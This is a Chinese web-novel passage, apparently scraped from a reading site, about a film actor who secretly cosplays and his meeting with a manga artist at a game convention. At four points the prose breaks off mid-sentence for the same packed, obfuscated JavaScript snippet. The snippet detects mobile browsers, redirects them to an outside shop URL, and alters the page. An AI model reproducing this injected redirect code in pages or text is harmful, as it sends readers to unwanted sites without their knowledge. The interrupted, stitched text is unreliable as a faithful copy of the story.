《影帝网恋二次元》 1. 水帝 标题：《江浏为什么被叫“水帝”，演技到底是什么水平？》 1L 如题，经常在古装影视混剪里看到江浏跳舞的片段，发现好多人都在弹幕和评论区说他是“水帝”，没看过他的电影，就觉得跳舞好看，想问问有什么黑料，能不能入坑。 [图片] 2L 演技不差的，毕竟科班出身（虽然这年头科班出身的质量也越来越不行了）剧抛脸，他去演配角的作品反而比主演的要出圈。 3L 同没看过他演的电影，只感觉这男的挺装逼一人机的。 4L 懂江浏跳舞的姐妹有品！舞蹈片段是《直上青云》里的，国际大奖最佳影片，没用替身，有官方花絮为证！每一个空翻都是他自己翻的，拽着绸缎飞的片段也是吊威亚亲自上，很敬业哒！ 5L 不用替身、不用配音那不是演员应该的吗？这都能夸敬业？ …… 19L 个人感觉江浏的能力还是没什么说的，就是这个爆冷上位拿的影帝不服众。还有公众形象营业的也不是特别好吧，这年头还立文艺青年、断网老干部人设。 20L 资源咖，本科阶段还在读书就被塞进了《直上青云》，美美提名最佳男配。起点高但是这么多年没拿过奖，估计是心急了，非要用《娜拉》争影帝败好感。 21L 娱乐圈哪个不是资源咖？起码江浏是踏踏实实演戏的，没有绯闻、不轧戏、不营销。他演的角色跟老戏骨混在一起不出戏，比某圈太子、某圈公主们好太多了吧！ 22L 水帝不营销？天大的笑话！不然你以为那些破碎感、清冷古风少年的视频真的全是纯路人剪的？刚出道时就在营销跳舞和武戏，现在还在营销，他跳得过专业舞蹈演员吗？打得过少林寺吗？ …… 156L 他都演过什么啊？感觉代表作不多。 157L 说江浏水平不行的，我就问这几个大热电影他演的重要配角认没认出来吧！ [图片] [图片] [图片] [图片] 江浏本人是人机了点，但作为演员还是很称职的，算是个片场劳模了，剧抛脸确实有点吃亏。 158L 真觉得江浏挺可惜的，他错就错在不应该凭《娜拉》拿影帝。导演、编剧、女主哪个都值得拿奖，但哪个都没拿奖，偏偏他这个镶边的、有点反讽意味的男主拿奖了。倒真是影片内容映射现实了。 …… 夏日，暑期档，正是忙着搞宣传的时候。 黑色T恤衫的工作人员猫着腰，顺着影院的台阶飞速跑到站起来的观众身边，将麦克风递过去。 “呼。” 观众习惯性地吹了一下话筒。 “江浏老师好，我很喜欢您刚刚对影片主旨《焦虑的折叠》的诠释，也觉得您将人物演绎得很好，我想问的是，您是怎么理解‘小成’这个角色既焦虑又摆烂的状态呢？” 聚光灯下，穿着印有电影标题宣传T恤的男人拿起手中的话筒。 “感谢您的提问，这是一个非常好的问题。” 江浏在思考，他缓缓地说着。 “在这里分享我个人粗浅的见解，恳请大家的批评指正。” 他微沙的声音语调不高，咬字清晰不拖沓，扎实的台词功底听着很叫人舒服。 “我觉得，‘小成’的痛苦与选择是当下社会的一种普遍现状。如今，大多数人并不能在工作当中获得‘自我实现’的满足感，上班只是为了赚取生存下去的资源……” 路演的场内还有很多空座，交流的氛围安静又友好，几乎是敲定了这部现实主义的文艺片“叫好不叫座”的前景。 “……无意义的工作奴役了人们全部的精力和时间，却仅仅支付微薄的工资。与之矛盾的是，人们对于生存的要求不止在生理层面的满足，更有精神层面追求。所以‘小成’跟大家是一样的……” 角色塑造得好是一回事，观众愿不愿意看其实是另一会儿事儿了。 生活已经够苦够累的，谁还愿意去电影院花钱再复习一遍自己打工当牛马的日常？ 拍得好，看过的人评价好改变不了什么，注定是给同档期的喜剧片陪跑罢了。 忙完了电影的最后一场路演，回到后台的江浏总算是松了口气。 不断闪烁的灯光、快门声、话筒的混响、提问声、举起来的手机，刚刚影厅里的一切还在他的脑子里翻搅，有些眩晕。 “江老师！” 来自外界的呼唤将他拉回现实。 “嗯？”江浏习惯性地露出笑容，“怎么了？” 叫住他的人是参与电影的小童星，很有礼貌也很有灵气的小姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815069|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，见片场的人都这么称呼他，也有样学样。 “谢谢江老师之前端午节的时候给我家邮的粽子！好好吃的！” 小姑娘说的应该是工作室逢年过节赠送的公关礼盒。每逢端午、中秋、新年，工作室都会整理好合作过的演职人员名单、打印好的祝福语卡片，由江浏手写签名后赠送出去。 “不客气，谢谢你喜欢我的礼物。”江浏蹲下来与小女孩的视线平齐，“你要是还想吃这个粽子，我可以让工作室把合作的厂家发给你妈妈。等到过中秋，我再给你送月饼，好不好？” 与小演员和她的母亲寒暄几句之后，江浏礼貌地与她们告别，回到车上。 车子启动，但是车窗留着条缝，还没有完全关上。所以车内的江浏听到了车外那对母女的谈话声。 “妈妈，我感觉江老师很随和的，跟网上说的不一样。” “嘘，小声点！不要在背后议论别人，好话坏话都别乱说。” 镀膜的车窗关上，黑色的车子载着他们离开。 江浏，公司对外营销的人设是敬业高冷文艺青年。 这年头的网络舆论极端化、情绪化，艺人在社交媒体平台太亲切、太有活人感也伴随着很大的风险，发言稍有不慎便会翻车、遭到反噬，反而是高冷些的人设稳妥、不出错。 江浏本来就是拍文艺片多些，这样的公众形象反而对工作更有利。 一段电影采访的转发文案，江浏编辑过初稿之后，要和两名助理一起反复检查数遍，确认没问题了才亲自发出去。而谨慎到这个程度，改过无数次的话早就官方到没什么人味了。 繁忙的工作告一段落，接下来是休息的时间了。 回到家，江浏第一件事就是去冲澡。温热的水流打在白皙的肌肤上，顺着漂亮清晰的肌肉线条和修长的下肢滑落在地，洗掉满身的疲惫。 柔软的家居服盖在还带着几分潮湿水汽的身躯，空调也将燥热驱赶。江浏把工作手机扔得远远的，掏出了几乎是满电的私人手机。 裁纸刀小心地割开快递纸箱上的透明胶，划过手写的“此面向上”，解放了被扎带牢牢固定在箱子里的透明蛋糕盒。 “咔嚓”！ 江浏清理现场、打开灯光，跪在地上对着透明盒里白色泡沫头模上的造型假发拍了几张照片，神色平静无波地编辑消息。 【CN平野月】：假毛已经收到啦！超级还原，谢谢咪！[爱心] 2. 漫展 还没来得及做日常任务的手游弹出消息，提醒江浏体力已满，该清体力了。 手机挂着副游，开了自动战斗刷材料，角色的酷炫大招特效以二倍速轮番轰炸在小怪身上。他打开电脑，解锁支架上的平板查询游戏博主的最新攻略，只等白屏过后，绚烂的开放世界在他面前展开。 “西北方向小地图左上角，朝着那个灯往上边走……” 跟着攻略博主的指示，江浏津津有味地挖掘地图资源。 显示屏后方的彩虹灯带映在洞洞板上，手办、徽章、亚克力立牌、色纸根据不同的IP和色系有序地装点这一方小空间。 这是江浏的肥宅快乐房，藏着他所有不轻易示人的喜爱。 整面墙的大书架里一半是各类周边谷子，另一半是本子。无论是国内国外、热门爆款、小众佳作，都应有尽有。 另外一面墙上的顶天立地大衣柜挂满了Cos服和道具，还有数排“抿嘴哥”头模戴着五颜六色的假发立在架子上。 【CN平野月】：大佬，周本走不？ 【保底不歪真君】：走。 公私泾渭分明是很好的习惯。 影帝只是工作，二次元才是生活。 江浏私底下的真实面目就是个搞Cosplay跑漫展、打二游、看番、买漫画小说的二次元老宅男。 上高中、上大学那阵儿，江浏为了摘掉“中二少年”的帽子，确实深刻了几年，沉迷于歌德、康德、亚里士多德，猛啃加缪、叔本华、莎士比亚。肚子里没点墨水，他现在这个人设还真立不起来。 但到了如今这个岁数，他也就遵循本心了。 都是被工作磋磨过的人，哪里来的力气按着自己的头深度研究文学、哲学？ 再说了，喜欢二次元，又不是什么丢人的事情。 电影、小说、动画、漫画……说穿了，都是艺术形式的一种，都能描绘深刻的主题、有趣的故事，只不过表现方式不同罢了，本质上没什么高低贵贱之分。 【保底不歪真君】：带你找点宝箱吧，你都不知道这个宝箱有多偏。 【CN平野月】：谢谢大佬！祝大佬十连双金不歪！ 囤积了不少抽卡道具后，江浏开始整理明天去某个二游官方漫展要用的东西。 “怎么办，已经开始期待了。”他将要发的无料放进行李箱，“恨不得现在、立刻、马上就是明天早上了。” 整理好行李、道具、服装，江浏离开了肥宅快乐屋，回到卧室，躺在床上随手点开微博。 今天也是他关注的一位小漫画家“夜幕糖”每周更新的日子。 他追连载有段时间了，很稳定地写长评、打赏、四处推荐，但他的宝藏小画家就是不火，让他总是忧心对方会断更跑路，只能加大砸钱的力度。 不料，他并没有看到心心念念的漫画，“夜幕糖”太太一大早就打了请假条。 【夜幕糖】：四天Fes全勤，本周请假，不更啦！ 对的，太太也在玩同一款游戏，还出过超高质量的同人图和同人本，在国内最大的同人展上出摊卖过一波。那时候江浏有工作没去成，后来在海鲜市场收二手收了很久才拿到。 虽然是素未谋面的赛博朋友，但想到接下来的四天他们都会在同一个会场享受游戏世界走进现实的氛围，说不能还能擦肩而过……江浏有种打破次元壁的奇妙感觉，是开心的。 江浏切了专门用来打赏小作者、小漫画家的金主号留言。 【B.Aic】：祝玩得开心，晚安太太。 正在积极冲浪的小漫画家几乎是秒回。 【夜幕糖】：金主爸爸晚安！ 说是“晚安”，但这个晚上注定是睡不太好的。 凌晨时分，在闹钟响起的半小时之前，江浏睁开了眼睛。他就是这样的体质，心里有事情的时候绝对比闹钟先醒来，甚至晚上要醒来好几次。 找妆娘必然会暴露身份，多年来他都是妆面自理。 江浏用发网兜住乌黑的真发，在额头垫了纸巾，防止发际线边缘的皮肤被勒破。越是浅色、鲜艳的假发越是吃妆，底妆要白、眼妆要浓、修容要重、定妆要厚。 以他扛得住电影镜头畸变的脸，自然感的妆容也很能打。但为了捂紧马甲，他一般都会借鉴舞台妆的画法，结合原作的细节处理，化更夸张的漫画感妆容，再带上贴合面部的黑口罩，亲妈来了都认不出。 为了出这个露上半身的硬汉风角色，他可是提前两个月就开始控制饮食、加大训练量。但因为舞蹈基础对肌肉形态的影响，他很难在短时间练出那种特大块头的肌肉，不得不小小地使用些作弊手段。 在肌肉的分界处涂上阴影色修容膏强化线条，膨起的肌肉上点开高光色更显饱满，本就有料的身体在作弊之下显得更加健壮和立体，十分还原游戏建模。 没有人帮忙，江浏将两个穿衣镜摆成不同的角度，把红色的火焰般的纹身贴拍到自己身上。后背摸不到的地方就先不管，在漫展附近的地铁站出口现用现抓一个妆娘帮忙贴上就好。 乱七八糟的道具先都装进入行李箱，再不出发，他就要错过VIP票的提前入场时间了。 以江浏多年来的逛展经验，此类大热展的人流量太过恐怖，一旦后续普通票游客进来，队伍会排得巨长无比。 VIP提前入场的一个小时里，江浏尽可能多地打卡官方活动摊位，按照早就规划好的路线迅速领取满奖励，买好周边塞进行李箱。 那些小火车、转转茶杯之类的低龄游乐项目，平日里他不屑一顾，一旦跟游戏内喜爱角色的印象元素联系到一起，他和所有的玩家都趋之如骛。 然而没多会儿，江浏就走不下去了。 “老师，请问可不可以跟您集邮啊！” “可以跟您合影吗？” “我不入镜，我就单独给老师拍两张行不行？” 身材有料、妆面精致、假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815070|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发还原、服装还找了裁缝量身定制，一看就是很用心的。只露眼睛也没关系，大家会在想象中自动把角色完美的下半张脸安装在黑口罩上。 没有人组织，想要集邮或者拍照的人自觉地在江浏面前排起了长队。 “今年官方请的Coser质量好高啊！” 江浏压着嗓子，模仿着角色的声线说：“不是官方，只是玩家。” 让他这么一解释，人们的反应更大了。 “出音味来！” “啊啊啊！好厉害！” “老师好还原！” 江浏熟练地接过手机抬高角度，他本来就个子高，合影时还习惯性地将脸放在前面，很轻松就能把同框玩家的脸拍得又小又精致。 “不好意思，我不方便收无料，但是我这边的无料请收下。” 不过，他倒不用担心这一天只能站桩拍照。 这么大的游戏展必定吸引许多博主前来，漂亮又可爱的、帅气又慷慨的、有活又抽象的、硬核搞攻略的、讲段子的……没过多久，人们都去找大博主合照，他就能换一个场馆了。 就在江浏准备去划出来的同人区逛一逛时，他的背后突然响起了熟悉的音乐。 口风琴吹奏出激昂的和弦进行，那听过数遍的旋律正出自角色的剧情动画。 江浏下意识地回头看向身后。 跟在他背后演奏的浅色假发的青年垂着双眸，明明只是淡妆却立得住角色的形象，靠的是那张叫人看过就忘不了的脸。纵使江浏见过的美人同行无数，也在回身的瞬间被对方惊艳到。 没有谄媚的讨好感、没有自恋的油腻感、没有僵硬的怯懦感。他只是恰到好处地立在那里，周身蒙上了角色身上的一丝神性。 察觉到江浏停下，他抬起头停了演奏，抿着口风琴的吹管的嘴角扬起一点笑意。很快，他又拢起嘴角，看着江浏的眼睛继续吹奏那段旋律，直到乐句收尾。 “老师，可以跟你集邮吗？” 这回是江浏主动发出的邀请。 “当然！我早就想跟老师集邮了，就是刚刚人太多了不好排队！” 这个肆意又灿烂的笑是属于那个青年本人的，脱离了角色沉稳和哀思的氛围。 好看，让江浏感觉自己好像瞬间被泡泡机喷出来的七彩泡泡包围了，湿漉漉的彩虹泡泡凉凉地落在他裸露在外的肌肤上炸开，以微弱的触感搅动内里的波澜。 仿佛是……他将快乐传染给了江浏。 他取下口风琴的软管，随手将琴放在脚边，掏出手机，拉近二人的距离，拍下一张合照。 “老师方便扩列吗？给你返图。”他问。 江浏拿出手机，用“CN平野月”二次元小号添加了对方的联系方式。 这个小号的列表里都是毛娘、Coser，没有任何与工作与真实身份有关的内容，很安全。 【夜幕糖】：我们已经成功添加为好友，现在可以开始聊天啦~ 3. 回家 “累死人了。” 晚上，叶慕唐推着箱子、穿着酒店的一次性拖鞋拉开了家门。 摘下假发和发网的那一刻，爽！ 脱掉Cos服、丢下道具、倒在地上的瞬间，爽！ 把暴走了一整天的脚搭在沙发上，肿起来的脚踝高过心脏的感觉，爽！ 虽说是请假休息，但逛漫展可比画漫画累多了。 在地上如同尸体般躺平的夜幕糖太太表示，他累得下周也想请假、不想更新。 正常情况下，如果一整天不吃饭他肯定觉得自己会饿死。但真到了漫展上，人就莫名其妙地多了一口仙气儿，只靠喝水、喝饮料他也能暴走两万步不停歇。 没有时间，是真的没时间吃东西。 回到家更是累都累懵了，连吃饭的力气都不剩。 又躺了好一会儿，叶慕唐才勉强爬起来，简单卸妆洗漱后，从冰箱里拿出抹茶泡芙和三明治，一边刷手机、一边进食维持生命体征。 到了这个时间，逛展的人们大多数都到家了，都在忙着互发返图、扩列备注。叶慕唐也不例外，开始给这些日后躺在列表里一句话也不会说的“点赞之交”修改备注。 【CN平野月】：[图片] “这个‘平野月’是谁来着？” 日文姓氏加平假名或中式名字的ID在喜欢ACG文化的人群里太常见、太普遍了，跟非主流时期“四十五度角仰望天空的眼泪”一样属于成吨批发的网名格式，着实没有什么记忆点。 叶慕唐平静地点开聊天框，在看到照片的瞬间被可乐呛得直咳嗽。 “咳咳……是那个，咳，极品男菩萨！” 展子里那么多还原的Coser，叶慕唐印象最深的绝对是这位“平野月”。 谁叫这位男菩萨除了慷慨而富有的美妙躯体之外，还拥有伟大的脸！ 虽然带着口罩，但从面部的骨骼结构和软组织状态观察，这个人的下半张脸绝对不会差的。 有支撑力的眉骨自然流畅地衔接挺立的山根，下颌走势清晰有恰到好处的转折，两侧适量的颧骨挂得住肉且线条不突兀，皮肤紧致细腻有光泽。此人不仅好看，面部特征还是花期长又抗老的那一挂。 而且最重要的是，这个人竟然是他小糊糊漫画的粉丝！ 男菩萨的行李箱上挂着收发无料的帆布包，正是叶慕唐上一部完结漫画的周边。他自己找厂家、选料子、设计、打样、发货的，绝对不可能认错！ 活的！是活的粉丝！ 天知道叶慕唐发现这点的时候有多开心、多恍惚。集邮完了人都走了，他眼眶还有点发胀。画漫画三年，归来仍是小透明，他都怀疑自己的粉丝绝大部分都是大眼仔塞的僵尸粉。 今天，终于让他在现实生活中见到一个喘着气儿的粉丝了！ 所以他直接用“夜幕糖”的ID扩列了。 不应该这样的。 读者和作者应该保持“只可远观不可亵玩”的礼貌距离，作者的个人特质太突出、与读者的关系太近，反而会破坏读者对作品的沉浸感。 道理他比谁都清楚，但叶慕唐也说不清楚自己到底是什么心思，回过神来的时候已经自爆了马甲。不可否认的是，对方完全长在他审美上的眉眼，的确起了很大的推动作用。 总之，又喜欢他的作品，又在玩同一个游戏，还在漫展上遇见了、合影了，怎么不算是有缘分呢？ 今天逛展到中午时分，场馆边角有很多玩家逛累了席地而坐。在那片非官方的休息区里，叶慕唐又一次看到了“平野月”。 那人放平了行李箱，趴在箱子旁边蜷起身体，漂亮的脸埋进交叠的手臂里，像是学生时代趴在课桌上那样浅浅地又沉沉地睡着了。 场馆里那么嘈杂，有游戏的音乐、有玩家的欢呼。他却安静地睡在那里，一定是累极了。就连叶慕唐走近了，他也毫无知觉。 当时，趁着平野月睡着，叶慕唐自作主张地在对方的帆布包里塞了好多无料。 有他刚买的官方周边，正好是平野月Cos的那个角色。有他自印的镭射票，是他自己画的同人图。 都知道对方是自己的粉丝了，夹带私货送一个自己新作刚刚打好样的亚克力钥匙圈，不过分吧？ 不是游戏展相关的内容，那又怎么了，你就说粉丝回家发现后开不开心吧！ 【CN平野月】：谢谢糖咪送的无料，我会好好珍惜的[流泪][流泪][流泪] 【CN平野月】：早上看微博知道老师会来，没想到真的能遇见！ 【CN平野月】：最喜欢老师全网无代餐的画风了！催更！催更！ 对方的反应让叶慕唐松了口气，挑起的嘴角泄露了他内心的得意。 【CN平野月】：[图片] 点开平野月发来的图片，他不禁感叹：这位帅哥给谷子置景的技术和他的脸一样牛逼！ 图中架子上的周边全都是来自“夜幕糖太太宇宙”的人物，Q版的人物亚克力立牌在流沙画与纸雕背景中高低错落地摆放着，仿佛这些角色就生活在这一方小小的景观世界当中。 叶慕唐发博说过自己喜欢粉丝催更，这样能让他很直观地感受到这部作品被大家期待。 这些，平野月都记得。 太幸福了！ 【夜幕糖】：谢谢粉丝宝宝[飞吻]！收到催更，在画啦、真的在画啦！ 在画？其实他连分镜都没想好呢！ 虽然还想跟平野月多聊几句，但原谅叶慕唐实在是太累了。脑袋一沾枕头，手就松了劲儿，让手机掉在熟睡的他的枕边了。 …… 与此同时，江浏家。 纵使江影帝体力很好，在漫展暴走终究是一件累死人不偿命的事情。尤其是他从凌晨起来准备，大夏天的戴口罩闷了整日。要不是中午趴在行李箱上小小地打了个盹，他都怕自己回家疲劳驾驶出事故。 漫展的上空似乎罩着充满善意的二次元结界，每个人都那么的纯真和热情。他睡得不省人事，醒来手臂都麻了好久，但包里硬是什么贵重物品都没丢，反而多了一堆无料。 有他睡相的拍立得，相纸背后写了角色的名台词；有辣条、巧克力、水果糖之类的小零食，给纯靠一口仙气游场的Coser补充能量；有黑色一字夹、别针、防走光贴、创可贴组成的“漫展急救包”。 还有……喜欢的太太赠送的未公开新作男主的亚克力钥匙圈！ 或许，这就是江浏喜欢二次元的原因之一吧。 因为喜欢的作品聚在一起的人是那样的美好、那样的纯粹，所有人都用心准备了许久，只为在这个时刻将一份暖意传达给素未谋面的同好。 没有人计较得失，单纯的付出、为身边的人带来惊喜本身，就足够快乐。 在这个乌托邦里，合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815071|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影的人们可以随意将背包丢到脚边，不用时时盯着；可以轻易地将手机、相机这类贵重物品交到陌生人的手里。 江浏第一次去漫展的时候还是个穷学生，两手空空地去，满载而归地回来，弄得他心里都不太好受。此后，他再去漫展都会提前准备好各式各样的无料，装在行李箱里拉到现场。 用功利的视角评判，纸片、马口铁、塑料都不是什么值钱的东西。但其中的好意是不能用价格衡量的。 江浏想：如果不能妥善对待，就不要因为贪念收下。 家里空间有限，自己好歹在娱乐圈混了那么多年，没有大富大贵也算是吃穿不愁了，再拿一帮小孩子从零花钱里挤出来的礼物实在是说不过去，所以江浏对无料的态度都是只送不收。 漫展落幕，美妙的梦画上句号，江浏的生活将再度被名利场间的权色交易、贪怨嗔痴环绕。因此，每次漫展结束，他都会有“戒断反应”般的难过。 不过，这次有所不同。 江浏见到了自己追更很久的“夜幕糖”太太，还有了人家的联系方式。 他原本的预期只求一个擦肩而过，却没想到拥有的远比想象要多，像是美梦还没醒来。 然而，江浏还是发出了灵魂质问。 “糖咪……原来是男的吗？” 不怪他会产生这种疑惑。 毕竟，“夜幕糖”漫画家出道以来的作品，都是清一色的BL漫画啊！ 虽然现在大眼仔管得严，夜幕糖已经从良了，但早些年他画的那些超绝擦边涩图，可都在江浏的私密文件夹里存着呢！ 太太每发一段话都要加emoji，词尾永远是萌萌的“嘟、滴、哒、呢、啦”加上波浪号，表情包都是兔兔、猫猫、绿龟、小鸟……怎么看都像是可爱的女孩子。 虽然个人资料页确实有个蓝色的性别符号，但这年头女孩们出于各种原因在填性别时选择“男性”的情况也不少见。 所以，江浏下意识地认为“糖咪”是个女孩。 “夜幕糖太太，不会……也是gay子吧？”他下意识地抬手捂住嘴巴，脸有些烫。 不然，谁家直男没事儿能画三年脆皮鸭漫画啊？ 出于好奇，江浏开始从夜幕糖最早发布的动态开始，顺着时间线看下去。 夜幕糖是个很喜欢在网络上分享生活碎片和感悟的人，循着这么多年来在日常的零零碎碎里透出来的信息，可以粗略地拼出这个人的人生轨迹。 感觉像是重新认识了一遍关注数年的人。 之前，江浏夸夜幕糖的画风全网无代餐，实际上的情况虽然没他说得那么夸张，但也差不多了。 想再找一个出身书法、国画世家，从小跟着家里人蹭顶级院校的大师课，素描功底扎实，油画水彩都能上手，单纯为了画人体好看在上大学时选了运动康复专业的漫画家，确实有点困难。 正经学过解剖生理、见过大体老师，这样科班出身的功底、强大的正规军，画起不穿衣服的美男子来，简直是高射炮打蚊子级别的大材小用。 “但别说，画得是真好啊。” 每一块肌肉的走势都那样清晰、发力或松弛的模样都鲜活无比，仿佛下一秒就要动起来似的，肌肤的湿润与褶皱更是活色生香，适度的夸张让画面处于现实和想象的绝妙平衡。 江浏小脸通黄地关掉了私密的文件夹，想了想，又打开了。 4. 晕倒 互联网有记忆，没隐私。 一大早又去漫展整活的叶慕唐不知道，自己的成长经历、家庭状况、生活习惯，就连他每天大概是几点钟起床、几点钟睡觉都已经被“平野月”猜了个七七八八。 他忙着四天全勤，每天都有新活儿要整。 昨天帅够了，今天叶慕唐要奖励自己丢掉形象包袱。 他打扮成了游戏里的抽卡水晶，还将游戏里的金币和抽卡道具做成硬币大小的亚克力片片，准备在现场“撒币”。 高清数码定位印花的炫彩套头水晶衣服里，他只在洞口处露出带着墨镜的脸，抽象地在会场四处乱窜，高高的个子让他成了巨大的显眼包。 道具服透气性不太好，汗水顺着后背往下流，叶慕唐时不时得脱下来喘口气再继续，不然真的是闷得头晕眼花腿发软。 撒着撒着，远方路过的一道纤长身影牢牢地吸住了他的目光。 那是游戏中的一个影卫角色，紫黑色的兜帽半罩在头上，厚重的黑色皮质手套和长靴包覆修长有力的小臂和小腿，身后的披风随着步伐小幅度地规律摇晃。 贴！太贴角色了！ 为了还原角色的感觉，这人走起路来甚至都没有什么脚步声，挺拔的仪态与警惕的神情都像是从游戏剧情里抠出来的。 说实话，在如此炎热的盛夏出捂得这么严实的角色，长衣长袖高领还带羽毛，不是真爱都顶不住这份闷热。 “老师！等等，这位老师！”叶慕唐叫着角色的名字，向那人跑过去，“求集邮，求扩列！” 影卫看着他这身打扮，都没绷住角色的形象笑场了，黑口罩也没压住他在眼角眉梢弯出的笑意，“这位老师，你好会整活啊！请你祝愿我十连双金。” 救命，这人连声音都像是角色那样沉稳中有一丝清透，还原到让人脊背发麻。 “双金算什么，我祝你十连三金！” 合照后，叶慕唐想从兜里掏无料，却摸出来了一包纸巾，抬头看到对方挂着汗珠的脸，便也不打算换了，“老师给您无料，擦擦汗，你等我还有个降温贴。” 他从包里拿出降温贴，现场用马克笔随手勾了几笔便画出了影卫角色的Q版头像。明明是简单至极的线条，却精准地抓住了角色的特征，足以见得笔力和观察力的强大。 “这也太厉害了，多谢。”影卫Coser接过降温贴，还不忘用角色的声音营业。他拿出手机，为了扩列方便他将锁屏换成了二维码，扫起来相当省时间。 叶慕唐乐呵呵地从道具服里掏出手机，忽然，他的笑容尴尬地僵在了原地。 扫码成功后，手机上并没有弹出没有添加好友的申请页面，反而直接跳进了个人名片里，再点进去，是两个人昨天的聊天记录。 【CN平野月】：最喜欢老师全网无代餐的画风了！催更！催更！ 【夜幕糖】：谢谢粉丝宝宝[飞吻]！收到催更，在画啦、真的在画啦！ 这不就是昨天的粉丝吗？！ 没认出来对方的叶慕唐直接傻眼了。 昨天还在叫人家男菩萨、宝宝，现在旧人错认成新人，叫人家老师求扩列。 “怎么了，是网络不好吗？”江浏还在模仿角色的语气说话，“我这边还没收到。” 只听手机“嗡”地震动，弹出一条新的信息。 【夜幕糖】：我们已经成功添加为好友，现在可以开始聊天啦~ 众所周知，复制粘贴重新发一遍打招呼消息，并不会让之前的聊天记录消失，只会出现在最后一句话的下面。 江浏：“……” 叶慕唐：“……” 两个人都没认出来彼此，不知道谁比谁更尴尬。 叶慕唐装疯卖傻的目的，是想让对方配合他装聋作哑。 “不好意思，太太，你带着墨镜我没认出来。”江浏被吓回了自己的原声。 叶慕唐摘下墨镜，露出了没有化妆的脸，干巴地“哈哈”两下，“你真是扮谁像谁……不会是配音演员吧？” “没有没有，就是自己随便玩玩。”江浏连连摆手。 叶慕唐脑子都要宕机了，还在为自己找补，“那个，昨天你身材看上去……今天就不太一样，这就是脱衣有肉，穿衣显瘦？啊，我，我没有别的意思啊。” 说着说着，他忽然脑袋空了一下，等他再反应过来时，才发现眼前是摇摇晃晃的展厅天花板，人已经躺在地上了。 “什么情况？”叶慕唐努力挣开眼睛，觉得自己像是在做梦。 江浏正在帮他脱掉闷热的道具服，“你刚才短暂地失去意识了，很可能是中暑或者低血糖。” “我刚刚昏过去了？”叶慕唐回忆起来，只觉得自己眼前黑了一瞬间，完全没有摔倒的感受和记忆，再扭头看过去，才发现周围已经站了一圈的人，都在看着倒在地上的他。 他含糊不清地说：“那应该是低血糖吧，我没吃早餐，也忘记喝水了。” “谁有可乐？有人低血糖了，喝可乐比吃糖升糖快！借杯可乐救急，要有糖的可乐！”江浏抬头向周围的人大声喊道，“有人能帮忙通知一下服务台吗？” 好几瓶碳酸饮料被人举过头顶。 “我有可乐！” “功能饮料行吗？” “这儿有！这儿有！就是我喝过一口，瓶子不太干净。” “电解质水可以吗？” “我有没开封的！” 江浏扶着叶慕唐的肩膀，让他的上半身靠在自己怀里，将可乐递到人嘴边。 强烈的眩晕感和无力感还在，躺在粉丝胸口喝着可乐的叶慕唐自觉丢人丢大发了，都不知道他现在是晕得站不起来，还是社死到站不起来。 别说，半杯可乐下肚，还真挺有用的。 叶慕唐很快有力气自己坐起来，脑子也没那么昏昏沉沉的了。 这时，主办方服务台的工作人员也到达了现场，确认叶慕唐的状态没有太大问题便疏散了围在旁边的群众，防止人员聚集引发其他危险。 “我好像能站起来了。”叶慕唐撑起身。 江浏连忙说：“你先扶着我，别摔了。” “谢谢你。”随着意识回笼，叶慕唐的感官渐渐清晰，他环顾四周，“刚刚给我可乐的那个小女孩都找不到了……应该给她多塞点无料的。” 转头，他又说：“我是不是忘记跟你说谢谢了？谢谢你。” 江浏被他的迷糊劲儿逗笑了，“你刚刚说过的，不客气，人没事就好。” 两个人走到了场馆边角的野生休息区，一起坐在了江浏的大行李箱上。 江浏还没忘记那套害人晕倒的抽卡水晶道具服，将叠得方方正正的衣服交还给对方，半开玩笑地说：“给你，看看够不够抽一发的？” “不好意思，给你添麻烦了。”叶慕唐接过来收好，全程都不敢看人家。 “没有的事，太太不要介意。正好我也走累了需要休息。”江浏拉过自己的帆布包，“我今天的无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815072|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料包里面有巧克力，吃点？” 两个人安静地吃了会儿小零食。 奇怪的是，刚刚尴尬的氛围似乎在此刻烟消云散了。熙攘的人群离他们很近，又离他们很远，躁动的心和情绪莫名地在此刻平静下来。 